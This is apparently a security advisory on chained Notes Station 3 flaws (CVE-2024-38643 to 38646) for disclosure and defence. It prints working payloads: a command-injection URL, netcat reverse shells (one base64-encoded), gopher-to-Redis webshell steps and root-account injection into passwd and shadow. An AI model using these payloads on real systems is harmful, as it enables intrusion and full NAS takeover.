QNAP QSA-24-36 : Notes Station 3 - Multiple vulnerabilities leading to full system compromise - CVE-2024-38643, CVE-2024-38644, CVE-2024-38645, CVE-2024-38646

CVE CVE-2024-38646 CVE CVE-2024-38645 CVE CVE-2024-38644 CVE CVE-2024-38643 QNAP QSA-24-36 Notes Station 3 < 3.9.7

Timeline (DD/MM/YYYY)

Summary

This reports presents few vulnerabilities impacting the NoteStation application.

The vulnerabilities can be chained to allow an unauthenticated attacker to take control over the QTS system with administrative privileges.

Authentication Bypass - CVE-2024-38643

Summary

NoteStation is vulnerable to an Authentication Bypass, allowing an unauthenticated attacker to impersonate any user on the application. To exploit, the vulnerability, the attacker need two information:

Technical details

To access to an authenticated part of the application, a Laravel middleware checks if the user is authenticated. The middleware code is in the file : /var/www/NotesStation3/app/Http/Middleware/Authenticate.php

Three headers will be used as an alternative to the cookie NAS_SID or QTS_SSID

$remote_user = $request->headers->get('X-Auth-Userid');
$remote_connectionid = $request->headers->get('X-Auth-Token');
$mobile = $request->headers->get('mobile');

If the mobile header is defined, the format is checked, and it should be composed of three parts:

if(isset($mobile) && !empty($mobile)) {
    $nas_info = explode(';', $mobile);
    foreach ($nas_info as $key => $info) {
        if(strstr($info, 'serverName')) {
            $server_name = explode(':', $info)[1];
        }
        if(strstr($info, 'username:')) {
            $username = explode(':', $info)[1];
        }
        if(strstr($info, 'sid:')) {
            $sid = explode(':', $info)[1];
        }
    }
    if(!isset($server_name) || !isset($username) || !isset($sid) || empty($sid) || empty($username) || empty($server_name)) {
        $ret['status'] = 101;
        $ret['message'] = 'the operation is not authorized';
        return response()->json($ret, 401);
    }

    // 1. check server name
    $check_sever = Config::get('app.server_name');
    if($check_sever != $server_name) {
        $ret['status'] = 101;
        $ret['message'] = 'the operation is not authorized';
        return response()->json($ret, 401);
    }

The server_name variable is checked and should be the same as the NAS. This value can be recovered by a GET request on cgi-bin/authLogin.cgi

Then X-Auth-Userid and X-Auth-Token values are sent with the username variable to the Qnap_nas->create_userid method.

public function create_userid($username, $connectionid, $sid, $migrate=false, $share_check=false,$createCookie=true)
{
    $user_session = new SessionModel;
    $user = new UserModel;
    $sys_mod = new SystemModel;
    $my_mod = new MyModel;

    $nasUserInfo = $this->get_nas_user_uid($username);

    if($nasUserInfo==FALSE) {
        $uid = $this->check_Ldap($username);
        $login_id = $username;
        $login_server = '2';
        if(!$uid && empty($uid)) {
            $ADinfo = $this->check_ADserver($username);
            $login_server = '3';
            if(!$ADinfo['uid'] && empty($ADinfo['uid'])) {
                return FALSE;
            }
            $login_id = $ADinfo['username'];
            $uid = $ADinfo['uid'];
        }
    }else{
        $uid = $nasUserInfo['uid'];
        $login_id = $nasUserInfo['userName'];

        $user->check_duplicate_uid($uid,$login_id);
        $login_server = '1';
    }

The get_nas_user_uid will only check if the username is in the passwd file. The admin account, even if it’s disabled, is present in this file and can be used as username.

The connectionid and sid are not used to check the user authentication and can be set to an arbitrary value.

Exploitation

An attacker first needs to get the value of the serverName part of the mobile header.

Then, to check if the endpoint requires authentication, a request can be made on the /ns/api/v2/user/loginid

To bypass the authentication, the Mobile header should be crafted.

Remote command execution - CVE-2024-38644

Summary

An authenticated user is able to execute an arbitrary command as the user www-data. The user www-data can elevate his privileges to execute commands as root.

Technical details

The function set_file in the class NoteFile uses a shell command without sanitizing the user input.

To access this part of the code, an url query parameter need to be defined and should end with “.img” to match the if condition.

Before trigger the command injection, the URL will be used in a PHP curl call, thus, the first part needs to be a valid link.

Here is a payload example :

http://127.0.0.1/";echo ‘<?php phpinfo();’>/var/www/NotesStation3/public/phpinfo.php;".img

Privilege Escalation

In the container, the NoteStation Laravel application runs as www-data. It’s possible for an attacker to gain root privileges by abusing cron jobs.

Cron jobs running as root are defined in the /etc/crontabs/root file.

95d162514bcc:/var/www/NotesStation3 $ cat /etc/crontabs/root
# do daily/weekly/monthly maintenance
# min   hour    day     month   weekday command
*/15    *       *       *       *       run-parts /etc/periodic/15min
0       *       *       *       *       run-parts /etc/periodic/hourly
0       2       *       *       *       run-parts /etc/periodic/daily
0       3       *       *       6       run-parts /etc/periodic/weekly
0       5       1       *       *       run-parts /etc/periodic/monthly
*       *       *       *       *       /usr/bin/php /var/www/NotesStation3/artisan Synchronizer
*       *       *       *       *       /usr/bin/php /var/www/NotesStation3/artisan SynchronizerRemote

The /var/www/NotesStation3/artisan cli file is used, but this file is writable by the www-data user. Thereby, if the www-data user injection malicious code is in the artisan cli, this code will be run as root.

For example, the following code will give a root reverse shell to the attacker:

#!/usr/bin/env php
<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc IP PORT >/tmp/f'); 
?>

Exposed Redis running as root : CVE-2024-38645

Summary

The Redis server is running as root and does not require any authentication. An attacker with access the local network is able to dump keys. The Redis server data can be dumped to an arbitrary location, which could potentially lead to a command execution.

Technical details

The Redis can be used in a few ways to take control over an account or the NoteStation application.

First, it can be used by an authenticated user to dump all keys and leak an authenticated user SID.

Also, an attacker could drop a web shell by injecting PHP code into a key and dumping the config to a PHP file inside the web root folder.

Finally, as the Redis server is running as root, some files can be modified to get a root reverse shell.

Dumping Redis keys

To dump the configuration, the Redis server has to receive the SAVE command. The config is dumped to the folder and file defined in the configuration. To be able to read this dump, the file should be in the public folder of the NoteStation application.

An attacker can use the endpoint note/{connection_id}/{note_id}/image/{image_id?} with the URL parameter to exploit an SSRF vulnerability, allowing them to communicate with the Redis Server through the Gopher protocol.

By sending three commands, the attacker will be able to download the Redis configuration dump.

gopher://127.0.0.1:6379/_CONFIG%20SET%20dir%20/var/www/NotesStation3/public/
gopher://127.0.0.1:6379/_CONFIG%20SET%20dbfilename%20redis-export
gopher://127.0.0.1:6379/_SAVE

With the downloaded dump, the attacker can list the SIDs of connected users and check if the SID belongs to an administrator account.

Drop custom PHP code

This dump can be used to execute arbitrary PHP code.

For example :

gopher://127.0.0.1:6379/_SET%20webshell%20"<%3fphp%20phpinfo();%3f>" # Set PHP content
gopher://127.0.0.1:6379/_CONFIG%20SET%20dbfilename%20redis-info.php # Set filename wit php extension
gopher://127.0.0.1:6379/_SAVE

gopher://127.0.0.1:6379/_CONFIG%20SET%20dir%20/var/www/NotesStation3/
gopher://127.0.0.1:6379/_CONFIG%20SET%20dbfilename%20artisan
gopher://127.0.0.1:6379/_SET%20webshell%20"%23!/usr/bin/env+php
\n<%3fphp%20system(base64_decode('bmMgMTAuMC4xMC4xNCAxMzM3IC1lIHNo'));%3f>"
gopher://127.0.0.1:6379/_SAVE

The Redis config dump is in binary format and may break some PHP code.

Application container escape - CVE-2024-38646

Summary

An attacker with shell access to the NoteStation application is able to interact with the underlying NAS and create an administrator account on it.

Technical details

The NAS directory “/etc/config”" is bound with read and write permission inside the container on the directory “/qts/etc/config”.

Once the attacker has a reverse shell as root inside the NoteStation container, he can create a user with administrative privileges by modify these files:

For example :

echo "notestation_exploit:x:0:0:administrator:/share/homes/admin:/bin/sh" >> /qts/etc/config/passwd
echo "notestation_exploit:$(openssl passwd -1 pwnpwn):19517:0:99999:7:::" >> /qts/etc/config/shadow